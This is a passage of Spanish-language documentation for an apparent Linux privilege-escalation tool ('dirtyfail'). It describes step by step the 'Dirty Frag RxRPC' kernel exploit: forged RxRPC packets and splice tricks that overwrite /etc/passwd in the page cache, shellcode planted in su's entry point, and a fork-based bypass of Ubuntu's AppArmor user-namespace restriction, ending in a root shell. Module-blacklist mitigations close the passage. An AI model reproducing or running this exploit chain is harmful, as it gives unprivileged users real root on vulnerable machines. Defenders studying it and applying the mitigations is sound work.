Luego sal del namespace, `execlp("su", user)` desde el padre — el mismo paso final que en Copy Fail.

### Exploit Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

Matriz de arquitectura:

* **x86_64 (56 bytes, 14 escrituras encadenadas de 4 bytes)** — probado
  de extremo a extremo en Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode en
  `shellcode_x86_64[]`.
* **aarch64 (80 bytes, 20 instrucciones)** — codificado a mano desde la
  referencia ARMv8-A, **nunca ejecutado en hardware**. Oculto tras
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. El código fuente se incluye en
  `tools/exploit_su_aarch64.S` para verificación comunitaria — ensámblalo
  con `aarch64-linux-gnu-as` y confirma que la secuencia de bytes coincide
  con `shellcode_aarch64[]`.
* cualquier otra cosa → preconds_fail.

El archivo de estado `/var/tmp/.dirtyfail-su.state` guarda los bytes
originales del punto de entrada para que `--cleanup-su` pueda restaurarlos.
`--list-state` inspecciona este archivo (y el de la backdoor) sin tocar nada.

Si el paso de verificación detecta que la caché de páginas no coincide con
el shellcode plantado (kernel parcheado, AF_ALG en lista negra, etc.), la
reversión automática se dispara inmediatamente y el archivo de estado se
elimina — no es necesario que el operador ejecute cleanup-su después.

---

## 8.5 Arquitectura: bypass basado en fork externo/interno

Los cinco modos de explotación comparten una arquitectura común para
manejar la política `apparmor_restrict_unprivileged_userns=1` de Ubuntu
sin atrapar al `su` posterior a la explotación dentro de un userns donde
no puede alcanzar la raíz real del init-ns.

### El problema

Un bypass ingenuo coloca *todo* el proceso `dirtyfail` dentro de un
namespace de usuario nuevo mediante `unshare(CLONE_NEWUSER)`. Eso basta
para registrar SAs XFRM y disparar los triggers de splice — pero también
significa que el eventual `execlp("su", user)` se ejecuta dentro del
userns, donde el uid 0 se mapea mediante `uid_map "0 1000 1"` al uid
externo del operador (1000). El `setresuid(0)` de PAM termina entonces en
userns-uid-0-mapeado-a-1000, que **no** es la raíz real del init-ns —
`cat /etc/shadow` devuelve EACCES, la shell no puede realizar operaciones
privilegiadas.

### La solución: división externo/interno```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

### Dirty Frag RxRPC (CVE-2026-43500)

1. **Aún no hay parche upstream.** Parche del investigador en lkml; no integrado al
momento de escribir esto (2026-05-08).
2. **Provisional**: lista negra de `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

### O usa `dirtyfail --mitigate`

El mismo conjunto de mitigaciones está encapsulado en un modo defensivo con confirmación escrita:```sh
sudo ./dirtyfail --mitigate